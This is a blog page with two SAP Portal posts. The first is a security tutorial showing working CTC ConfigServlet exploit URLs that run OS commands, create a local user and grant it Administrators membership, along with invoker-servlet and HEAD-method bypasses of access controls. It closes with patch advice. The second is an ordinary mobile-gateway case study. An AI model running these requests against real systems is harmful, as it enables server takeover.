Showing posts with label Web Dispatcher. Show all posts
Showing posts with label Web Dispatcher. Show all posts

Sunday, January 19, 2014

SAP Portal Security, lesson 2: Hacking Servlets

In my previous post we discussed portal architecture, features and mostly Knowledge Management (KM) vulnerabilities. In this post we will discuss main security mechanism embedded in the SAP Portal applications, and how we can override some of them.

*  I assume that you are familiar with basic HTTP mechanisms, POST / GET / HEAD methods, and you know that SAP Portal runs J2EE engine.

* All commands below were executed on actual SAP portal installations, which are exposed to WWW and have not been secured properly.


XML Descriptors and Invoker Servlet


Access to servlet applications deployed on SAP Portal engine are controlled by XML descriptor files. Many of those SAP standard applications have serious security breaches. Here is an example of such a descriptor file:

<?xml version="1.0" encoding="UTF-8 ?>
<web-app>
<display-name>HelloWorld Application</display-name>
<description>
This is a simple web application for Ivan's blog
</description>
<servlet>
<servlet-name>HelloServlet</servlet-name>
<servlet-class>examples.Hello</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>HelloServlet</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
<security-constraint>
<web-resource-collection>
<web-resource-name>Restrictedaccess</web-resource-name>
<url-pattern>/hello/*</url-pattern>
<http-method>GET</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>Administrator</role-name>
</auth-constraint>
</security-constraint>
</web-app>

As you can see, the servlet above is defined for access by /hello/... URL pattern, and GET requests will be accepted from user with Administrator role assigned. In order to override these settings hackers can use InvokerServletwhich  is enabled in SAP portals by default. This servlet allows accessing other servlet methods by using structured URLs, without passing the authorization check.

The servlet above could be accessed by http://{server:port}/servlet/examples.Hello by all users, as URL pattern is not matching the rule defined in XML descriptor. 

Let's take a deeper look.


Verb Tampering


The most critical of all servlets is called CTC, which allows execution of OS commands and creation of local users. Imagine that hackers could create an administrative user in your portal, with a simple command called from their browser. 

Here is an example of such a command, executed from your browser:
/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig











Now, as I told before, CTC servlet could be used to manage users. The command below will create a user in local UME:

/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME={enter your user},PASSWORD={enter your password}

Hey, there is even a success message:


After creating the user, we need to add administrative permissions. Guess what, there is a command for that as well:


/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.UserConfig;ADD_USER_TO_GROUP;USERNAME={enter your user},GROUPNAME=Administrators

There you go, now you have an administrator account in the system.

As you see from screenshots above, we used a simple GET method to execute those commands. For cases where GET / POST methods are secured, we can use HEAD methods, which don't match the XML descriptor file. 

Tips to keep it secure


1. Make sure your system is up to date. 
2. Block direct servlet execution (for example, by SAP WebDispatcher URL filtering)
3. Install notes 1467771, 1445998, 1503579,1616259 (if relevant)

Next post will cover user secure storage and encryption, cross-site scripting (XSS) and security zone attacks.

Stay tuned :-)

Friday, January 18, 2013

SAP Portal as Mobile Gateway

Intro

This short post will give you an example of how SAP portal can provide collaboration tools with third parties. Click here to read more about collaboration through SAP Portal.

Before


This was my first mobile-oriented project, based on SAP portal. My customer (Sonol, gas station operator) was looking for a solution for insufficient workflow they had - all gas station malfunctions were processed manually by back office, interaction between all parties (gas stations, back office and technicians) was done by phone, which was unbearable. 

Gas stations had no tool to report malfunctions, technicians had no tool to process those malfunctions, and there was a back office in the middle, connecting between the two. You can imagine how inconvenient it was for everyone:
  • Reporting malfunctions took a lot of time due to back office overload
  • Assigning technicians required checking their availability and location
  • Technicians' inventory was hardly maintained

After

The tool chosen for a end-to-end solution was SAP portal (Java WebDynpro applications), while system core is based on SAP ERP (CS module). Final solution included: 
  1. Portal-based back office application to map service requests to technicians, monitor open requests and process them if needed
  2. Convenient mobile application for personnel in the field
Integration of these components provides a perfect solution for all Customer Support requirements.

One of project goals was to provide a system convenient enough to be used by everyone without any training, without being familiar with SAP transactions and procedures, altogether with utilization of CS functionality embedded in the SAP ERP system. Nowadays the system allows the company to control all ongoing technical support routines.

Here is a general scheme of solution workflow:



Added values gathered as a result:
  • Fast response time, and better Customer Support as a result
  • More accurate problem descriptions, and faster malfunction resolutions as a result
  • Control over inventory used by technicians in the field
  • Work processes transparency and optimization
  • On-line accurrate documentation
  • Ability to fit SLA
  • Strengthening the connection between involved parties

Vision

As part of portal upgrade and Portal On Device features, we are planning to add more functionality and improve the solution with new features. Subscribe to get updates about upcoming innovations, or contact me directly.

Short description (EN) at our company web site: click here
Project overview (HE) at People & Computes web site: click here